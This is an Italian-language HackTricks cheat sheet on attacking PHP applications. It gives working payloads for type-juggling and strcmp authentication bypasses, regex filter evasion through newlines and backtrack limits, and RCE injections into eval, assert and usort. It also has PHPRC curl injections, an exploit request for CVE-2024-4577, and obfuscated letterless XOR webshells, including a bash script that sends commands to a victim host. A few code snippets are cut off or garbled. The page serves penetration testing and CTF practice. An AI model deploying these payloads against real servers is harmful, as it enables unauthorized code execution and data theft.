PHP Tricks

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Questo è valido anche per i cookie di phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Località:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Bypassare i confronti PHP

Confronti deboli/Type Juggling ( == )

Se == viene utilizzato in PHP, ci sono casi inaspettati in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se vuoi anche confrontare che il tipo dei dati confrontati sia lo stesso devi usare ===.

Tabelle di confronto PHP: https://www.php.net/manual/en/types.comparisons.php

590KB
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
pdf
  • "string" == 0 -> True Una stringa che non inizia con un numero è uguale a un numero

  • "0xAAAA" == "43690" -> True Stringhe composte da numeri in formato decimale o esadecimale possono essere confrontate con altri numeri/stringhe con True come risultato se i numeri erano gli stessi (numeri in una stringa sono interpretati come numeri)

  • "0e3264578" == 0 --> True Una stringa che inizia con "0e" e seguita da qualsiasi cosa sarà uguale a 0

  • "0X3264578" == 0X --> True Una stringa che inizia con "0" e seguita da qualsiasi lettera (X può essere qualsiasi lettera) e seguita da qualsiasi cosa sarà uguale a 0

  • "0e12334" == "0" --> True Questo è molto interessante perché in alcuni casi puoi controllare l'input della stringa di "0" e qualche contenuto che viene hashato e confrontato con esso. Pertanto, se puoi fornire un valore che creerà un hash che inizia con "0e" e senza alcuna lettera, potresti bypassare il confronto. Puoi trovare stringhe già hashate con questo formato qui: https://github.com/spaze/hashes

  • "X" == 0 --> True Qualsiasi lettera in una stringa è uguale a int 0

Ulteriori informazioni su https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling influisce anche sulla funzione in_array() per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Se questa funzione viene utilizzata per qualsiasi controllo di autenticazione (come il controllo della password) e l'utente controlla un lato del confronto, può inviare un array vuoto invece di una stringa come valore della password (https://example.com/login.php/?username=admin&password[]=) e bypassare questo controllo:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Lo stesso errore si verifica con strcasecmp()

Juggling di tipo rigoroso

Anche se === è utilizzato, potrebbero esserci errori che rendono la comparazione vulnerabile al juggling di tipo. Ad esempio, se la comparazione converte i dati in un tipo di oggetto diverso prima di confrontare:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() potrebbe essere utilizzato per validare l'input dell'utente (controlla se qualche parola/regex da una blacklist è presente nell'input dell'utente e se non lo è, il codice può continuare la sua esecuzione).

Bypass della nuova riga

Tuttavia, quando si delimita l'inizio della regexp preg_match() controlla solo la prima riga dell'input dell'utente, quindi se in qualche modo puoi inviare l'input in più righe, potresti essere in grado di eludere questo controllo. Esempio:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Per bypassare questo controllo potresti inviare il valore con nuove righe urlencoded (%0A) oppure se puoi inviare dati JSON, invialo in più righe:

{
"cmd": "cat /etc/passwd"
}

Trova un esempio qui: https://ramadistra.dev/fbctf-2019-rceservice

Bypass dell'errore di lunghezza

(Questo bypass è stato provato apparentemente su PHP 5.2.5 e non sono riuscito a farlo funzionare su PHP 7.3.15) Se puoi inviare a preg_match() un input valido molto grande, non sarà in grado di elaborarlo e potrai bypassare il controllo. Ad esempio, se sta bloccando un JSON potresti inviare:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

Bypass ReDoS

Trick da: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 e https://mizu.re/post/pong

In breve, il problema si verifica perché le funzioni preg_* in PHP si basano sulla libreria PCRE. In PCRE alcune espressioni regolari vengono abbinate utilizzando molte chiamate ricorsive, che consumano molto spazio nello stack. È possibile impostare un limite sul numero di ricorsioni consentite, ma in PHP questo limite è impostato di default a 100.000 che è più di quanto possa contenere lo stack.

Questo thread di Stackoverflow è stato anche collegato nel post dove si parla più in dettaglio di questo problema. Il nostro compito era ora chiaro: Inviare un input che avrebbe fatto fare 100_000+ ricorsioni all'espressione regolare, causando SIGSEGV, facendo restituire alla funzione preg_match() false, facendo così pensare all'applicazione che il nostro input non è malevolo, lanciando la sorpresa alla fine del payload qualcosa come {system(<verybadcommand>)} per ottenere SSTI --> RCE --> flag :).

Bene, in termini di regex, in realtà non stiamo facendo 100k "ricorsioni", ma stiamo contando i "passi di backtracking", che come afferma la documentazione PHP è impostata di default a 1_000_000 (1M) nella variabile pcre.backtrack_limit.\ Per raggiungere questo, 'X'*500_001 risulterà in 1 milione di passi di backtracking (500k in avanti e 500k indietro):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling per offuscamento PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Se PHP sta reindirizzando a un'altra pagina ma nessuna funzione die o exit è chiamata dopo che l'intestazione Location è impostata, PHP continua a eseguire e ad aggiungere i dati al corpo:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Check:

File Inclusion/Path traversal

More tricks

  • register_globals: In PHP < 4.1.1.1 o se mal configurato, register_globals potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $_GET se hanno un valore ad esempio $_GET["param"]="1234", puoi accedervi tramite $param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili che vengono utilizzate all'interno del codice.

  • I cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto, quindi se all'interno di un dominio cookie diversi vengono utilizzati in percorsi diversi puoi fare in modo che un percorso acceda al cookie dell'altro percorso impostando il valore del cookie dell'altro percorso. In questo modo, se entrambi i percorsi accedono a una variabile con lo stesso nome puoi fare in modo che il valore di quella variabile in path1 si applichi a path2. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome che corrisponde a esso in path2).

  • Quando hai i nomi utente degli utenti della macchina. Controlla l'indirizzo: /~<USERNAME> per vedere se le directory php sono attivate.

password_hash/password_verify

Queste funzioni sono tipicamente utilizzate in PHP per generare hash dalle password e per verificare se una password è corretta rispetto a un hash. Gli algoritmi supportati sono: PASSWORD_DEFAULT e PASSWORD_BCRYPT (inizia con $2y$). Nota che PASSWORD_DEFAULT è frequentemente lo stesso di PASSWORD_BCRYPT. E attualmente, PASSWORD_BCRYPT ha una limitazione di dimensione nell'input di 72byte. Pertanto, quando provi a fare hash di qualcosa di più grande di 72byte con questo algoritmo, verranno utilizzati solo i primi 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

Da questo thread di twitter puoi vedere che inviando più di 1000 parametri GET o 1000 parametri POST o 20 file, PHP non imposterà le intestazioni nella risposta.

Consentendo di bypassare, ad esempio, le intestazioni CSP impostate in codici come:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Riempire un corpo prima di impostare le intestazioni

Se una pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente, l'utente può far stampare al server PHP un contenuto sufficientemente lungo in modo che quando cerca di aggiungere le intestazioni nella risposta, il server generi un errore. Nello scenario seguente, l'attaccante ha fatto generare al server alcuni grandi errori, e come puoi vedere nello schermo, quando PHP ha cercato di modificare le informazioni dell'intestazione, non ci è riuscito (quindi, ad esempio, l'intestazione CSP non è stata inviata all'utente):

SSRF nelle funzioni PHP

Controlla la pagina:

PHP SSRF

Esecuzione di codice

system("ls"); `ls`; shell_exec("ls");

Controlla questo per altre funzioni PHP utili

RCE tramite preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Per eseguire il codice nell'argomento "replace" è necessaria almeno una corrispondenza. Questa opzione di preg_replace è stata deprecata a partire da PHP 5.5.0.

RCE tramite Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE tramite Assert()

Questa funzione all'interno di php consente di eseguire codice scritto in una stringa per restituire true o false (e a seconda di questo alterare l'esecuzione). Di solito, la variabile utente verrà inserita nel mezzo di una stringa. Ad esempio: assert("strpos($_GET['page']),'..') === false") --> In questo caso, per ottenere RCE potresti fare:

?page=a','NeVeR') === false and system('ls') and strpos('a

Dovrai rompere la sintassi del codice, aggiungere il tuo payload e poi aggiustarlo di nuovo. Puoi usare operazioni logiche come "and" o "%26%26" o "|". Nota che "or", "||" non funziona perché se la prima condizione è vera, il nostro payload non verrà eseguito. Allo stesso modo, ";" non funziona poiché il nostro payload non verrà eseguito.

Altra opzione è aggiungere alla stringa l'esecuzione del comando: '.highlight_file('.passwd').'

Altra opzione (se hai il codice interno) è modificare alcune variabili per alterare l'esecuzione: $file = "hola"

RCE tramite usort()

Questa funzione viene utilizzata per ordinare un array di elementi utilizzando una funzione specifica. Per abusare di questa funzione:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Puoi anche usare // per commentare il resto del codice.

Per scoprire il numero di parentesi che devi chiudere:

  • ?order=id;}//: otteniamo un messaggio di errore (Parse error: syntax error, unexpected ';'). Probabilmente ci manca una o più parentesi.

  • ?order=id);}//: otteniamo un avviso. Sembra corretto.

  • ?order=id));}//: otteniamo un messaggio di errore (Parse error: syntax error, unexpected ')' i). Probabilmente abbiamo troppe parentesi chiuse.

RCE tramite .httaccess

Se puoi caricare un .htaccess, allora puoi configurare diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possono essere eseguiti).

Diverse shell .htaccess possono essere trovate qui

RCE tramite variabili Env

Se trovi una vulnerabilità che ti consente di modificare le variabili env in PHP (e un'altra per caricare file, anche se con ulteriori ricerche forse questo può essere aggirato), potresti abusare di questo comportamento per ottenere RCE.

  • LD_PRELOAD: Questa variabile env ti consente di caricare librerie arbitrarie durante l'esecuzione di altri binari (anche se in questo caso potrebbe non funzionare).

  • PHPRC : Istruisce PHP su dove trovare il suo file di configurazione, di solito chiamato php.ini. Se puoi caricare il tuo file di configurazione, allora, usa PHPRC per puntare a esso. Aggiungi un'entrata auto_prepend_file specificando un secondo file caricato. Questo secondo file contiene codice PHP normale, che viene poi eseguito dal runtime PHP prima di qualsiasi altro codice.

  1. Carica un file PHP contenente il nostro shellcode

  2. Carica un secondo file, contenente una direttiva auto_prepend_file che istruisce il preprocessore PHP a eseguire il file che abbiamo caricato nel passo 1

  3. Imposta la variabile PHPRC sul file che abbiamo caricato nel passo 2.

  • Ottieni ulteriori informazioni su come eseguire questa catena dal rapporto originale.

  • PHPRC - un'altra opzione

  • Se non puoi caricare file, potresti usare in FreeBSD il "file" /dev/fd/0 che contiene il stdin, essendo il corpo della richiesta inviata al stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Oppure per ottenere RCE, abilita allow_url_include e prepende un file con codice PHP base64:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

XAMPP CGI RCE - CVE-2024-4577

Il server web analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come http://host/cgi.php?foo=bar come php.exe cgi.php foo=bar, il che consente un'iniezione di parametri. Questo consentirebbe di iniettare i seguenti parametri per caricare il codice PHP dal corpo:

-d allow_url_include=1 -d auto_prepend_file=php://input

Inoltre, è possibile iniettare il parametro "-" utilizzando il carattere 0xAD a causa della successiva normalizzazione di PHP. Controlla l'esempio di exploit da questo post:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In questo post è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti. Inoltre, viene proposta anche un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:

(1)->{system($_GET[chr(97)])}

PHP Static analysis

Guarda se puoi inserire codice nelle chiamate a queste funzioni (da qui):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Se stai eseguendo il debug di un'applicazione PHP, puoi abilitare globalmente la stampa degli errori in /etc/php5/apache2/php.ini aggiungendo display_errors = On e riavviando apache: sudo systemctl restart apache2

Deobfuscating PHP code

Puoi utilizzare il web www.unphp.net per deoffuscare il codice php.

PHP Wrappers & Protocols

I PHP Wrappers e i protocolli potrebbero consentirti di bypassare le protezioni di scrittura e lettura in un sistema e comprometterlo. Per maggiori informazioni controlla questa pagina.

Xdebug unauthenticated RCE

Se vedi che Xdebug è abilitato nell'output di phpconfig(), dovresti provare a ottenere RCE tramite https://github.com/nqxcode/xdebug-exploit

Variable variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusando di nuovo $_GET["a"]($_GET["b")

Se in una pagina puoi creare un nuovo oggetto di una classe arbitraria potresti essere in grado di ottenere RCE, controlla la seguente pagina per imparare come:

PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Eseguire PHP senza lettere

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Usando ottale

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

Secondo questo writeup è possibile generare un easy shellcode in questo modo:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Quindi, se puoi eseguire PHP arbitrario senza numeri e lettere puoi inviare una richiesta come la seguente abusando di quel payload per eseguire PHP arbitrario:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Per una spiegazione più approfondita, controlla https://ctf-wiki.org/web/php/php/#preg_match

Shellcode XOR (all'interno di eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl simile

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Last updated